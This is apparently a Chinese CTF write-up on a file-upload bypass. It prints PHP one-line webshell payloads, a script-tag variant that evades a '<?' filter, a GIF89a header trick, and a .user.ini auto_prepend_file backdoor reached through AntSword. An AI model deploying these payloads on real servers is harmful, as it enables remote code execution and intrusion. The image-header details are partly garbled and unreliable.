知识点:.user.ini .htaccess //详细知识点补充到最后,建议学习一下
文件检测内容绕过
一句话木马
Webshell 工具连接
<?php @eval($_POST['cmd'])?> // .png .jpg .gif
我们开始上传.png|.gif|.jpg格式的图片内容如上,都会给我们提示<? in contents,说明该内容被检测到了,所以我们用到了下面的一种新姿势.
<script language='php'>@eval($_POST['cmd'])</script> // .png .jpg .gif
上传完之后,发现exif_imagetype() 函数报错 -- exif_imagetype() 读取一个图像的第一个字节并检查其签名.所以我们给内容加上内容头部. png:塒NG | .gif:GIF89a | .jpg:塒NG
GIF89a
<script language='php'>@eval($_POST['cmd'])</script> // .png .jpg .gif
由于.htaccess文件的后缀名被限制了,不能够上传,于是我们用到了一个新的姿势去进行文件上 传. -- .user.ini php配置文件.
GIF89a
auto_prepend_file=test.png
上传成功,之后我们用AntSword去连接获取flag值
题目涉及到的详细知识点:
一. .htaccess .user.ini 配置文件
php.ini 文件是全局配置文件,对整个web服务器都起作用,而.htaccess 和 .user.ini 同样是目录的配置文件,我们可以理解为用户自定义的配置php.ini,可以利用其来构造后门。
.uer.ini 比 .htaccess 文件的用途更广,在nginx/apache/IIS 的服务器中只要运行FastCGI环境下运行的php,那么就都起作用
举个例子: auto_prepend_file : 该文件的内容将在每个 PHP 脚本执行之前自动包含
auto_append_file : 该文件的内容将在每个 PHP 脚本执行之后自动包含
1. 在 .user.ini 文件中配置
auto_prepend_file=test.png
2. 上传test.png一句话木马
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>3. 上传的目录中存在php执行文件,上传的一句话木马文件以及.user.ini 配置文件
4. 当访问该目录下的php文件执行文件时,首先会调用.user.ini 使test.png 包含到php文件内,然后执行php文件.
局限: .user.ini 配置文件,需要在同一目录下,并且该目录下存在php文件,但是上传图片存储的目录一般很小概率会存在php文件。